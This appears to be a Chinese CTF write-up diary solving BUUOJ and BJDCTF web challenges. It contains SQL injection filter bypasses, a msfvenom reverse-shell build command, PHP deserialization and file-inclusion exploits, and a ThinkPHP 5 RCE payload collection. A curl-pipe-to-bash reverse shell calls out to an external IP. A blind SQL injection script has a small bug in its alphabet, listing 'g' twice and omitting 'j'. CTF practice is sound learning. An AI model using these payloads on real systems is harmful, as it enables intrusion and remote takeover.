http://c53de338-33a4-4811-8e6b-32b8756f0186.node3.buuoj.cn/check.php?username=admin&password=111111'+ununionion+sselectelect+1,2,group_concat(schema_name) ffromrom infoorrmation_schema.schemata--+

查询库

查询表

1
http://c53de338-33a4-4811-8e6b-32b8756f0186.node3.buuoj.cn/check.php?username=admin&password=111111'+ununionion+sselectelect+1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema=database()--+

https://i.loli.net/2020/02/23/BbE3V2iPqreH1Tx.png

查询b4bsql的列

1
http://c53de338-33a4-4811-8e6b-32b8756f0186.node3.buuoj.cn/check.php?username=admin&password=111111'+ununionion+sselectelect+1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'--+

https://i.loli.net/2020/02/23/xOQyvj3arTU6AwP.png

查询内容 password里的or双写

1
http://c53de338-33a4-4811-8e6b-32b8756f0186.node3.buuoj.cn/check.php?username=admin&password=111111'+ununionion+sselectelect+1,2,group_concat(id,username,passwoorrd) frfromom b4bsql--+

https://i.loli.net/2020/02/23/dNrfxzohUJFk1aO.png

得到flag

2020/2/24

研究cobaltstrike

在阿里云和腾讯云均部署了cobaltstrike服务端,发现服务端不能是五位数的端口,并且监听的端口在80的时候才有效,很奇怪。

最后决定不用这个图像化了

改用msf,那速度就像飞一样,简介明了。

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

2020/7/2

补充:cs的种种问题 关闭内网防火墙就好了

2020/3/7

Web_php_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 <?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

有两个点需要绕过

一个是wakeup方法 把对象属性调大

一个是正则匹配的存在 o或c:数字的形式 用 O:+4绕过

然后需要在php里用utf-8编码base64加密

1
2
3
4
5
6
$a=new Demo("fl4g.php");
$a=serialize($a);
$a = str_replace('O:4', 'O:+4',$a);
$a = str_replace(':1:', ':2:',$a);
echo $a.' ';
echo(base64_encode($a));

Web_php_include

题目

1
2
3
4
5
6
7
8
9
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>

可以接收两个参数 hello和page

hello没有什么限制 如果page出现php://就会把php://换成空

然后包含page

过滤了page伪协议利用

这里利用大小写绕过他的过滤 然后RCE

第一种做法:Php://input

第二种做法:利用data://伪协议

1
2
data://text/plain,<?php 代码?>
data://text/plain;base64, 代码(代码经过base64转码)

image-20200307081644252

第三种做法:利用file://协议

这种做法是半自动化的 因为需要知道flag的绝对路径

Php://filter/read=convert.base64-encode/resource=file:///var/www/fl4gisisish3r3.php

第四种做法: 利用page包含hello参数

1
2
3
4
5
6
<?php


?>
<? phpinfo();
//这样也是可以正常运行

在这里插入图片描述

1
phar://./test.zip(可以改成其他拓展名)/test.php
1
2
phar://  可以查找指定压缩包内的文件,相对路径和绝对路径均可
zip:// 用法与phar类似,不过有两点要注意

2020/3/24

[BJDCTF 2nd]fake google

在输入框内随便输入

页面跳转了

查看源代码

1
<!--ssssssti & a little trick --> P3's girlfirend is : zhanglingling<br><hr>

提示ssti?

直接用工具 命令执行拿到flag

1
python2 tplmap.py  -u "http://d856bfb3-6905-41f0-b21e-804ebc2ed274.node3.buuoj.cn/qaq?name=nihao"  --os-shell

[BJDCTF 2nd]old-hack

打开首页 看到 Powered by THINKPHP5

tp5 payload集合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

5.0.x php版本>=5.4
http://120.79.228.110:8810/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=system(%27tac%20/flag%27);



# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

可以RCE

直接看flag

[BJDCTF 2nd]duangShell

给提示说有swp文件

1
http://3fc9e212-6ba3-4c95-b364-62624a29e23c.node3.buuoj.cn/.index.php.swp

下载下来swp文件

去linux恢复一下

vim -r index.php.swp

image-20200324132020259

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>give me a girl</title>
</head>
<body>
<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}

post girl_friend来命令执行

过滤了很多参数 而且也没有echo 部分执行了也没回显

想到用curl反弹shell

1
girl_friend=curl http://174.1.91.127/index.php|bash
1
index.php:    bash -i >& /dev/tcp/174.1.91.127/8888 0>&1
1
vps: nc -lvp 8888

拿到shell之后 cat /flag

发现是假的

1
find / -name flag

找到了真正的flag

[BJDCTF 2nd]简单注入

参考文章:http://www.freesion.com/article/2367234678/

官方脚本

匹配的时候用16进制

1
password=||password regexp  0x5e4f #&username=%5C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
基础 regexp 盲注

有一个小 trick 密码是大小写混合的 所以要用 binary(区分大小写)

import requests

// P3rh4ps tql!!!

url='http://1d8df83e-b3f8-4cab-a964-572a0ad21096.node3.buuoj.cn/index.php'

def str2hex(string):

c='0x'

a=''

for i in string:

a+=hex(ord(i))

return c+a.replace('0x','') #替换后面的0x

alphabet = ['!','[',']','{','}','_','/','-','&',"%",'#','@','a','b','c','d','e','f','g','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']





flag='^'

for i in range(0,20):

for y in alphabet:

tmp=flag+y

data = {

"username": "P3rh4ps\\",

"password": "||password regexp binary {}#".format(str2hex(tmp))

}

# print(data['password'])

x=requests.session()

if 'BJD needs' in x.post(url,data=data).text:

# print(x.post(url,data=data).text)

flag=tmp

break

print(flag.replace("^",""))

2020/3/28

没写完

2020/7/2

先写这些吧 我还会再回来的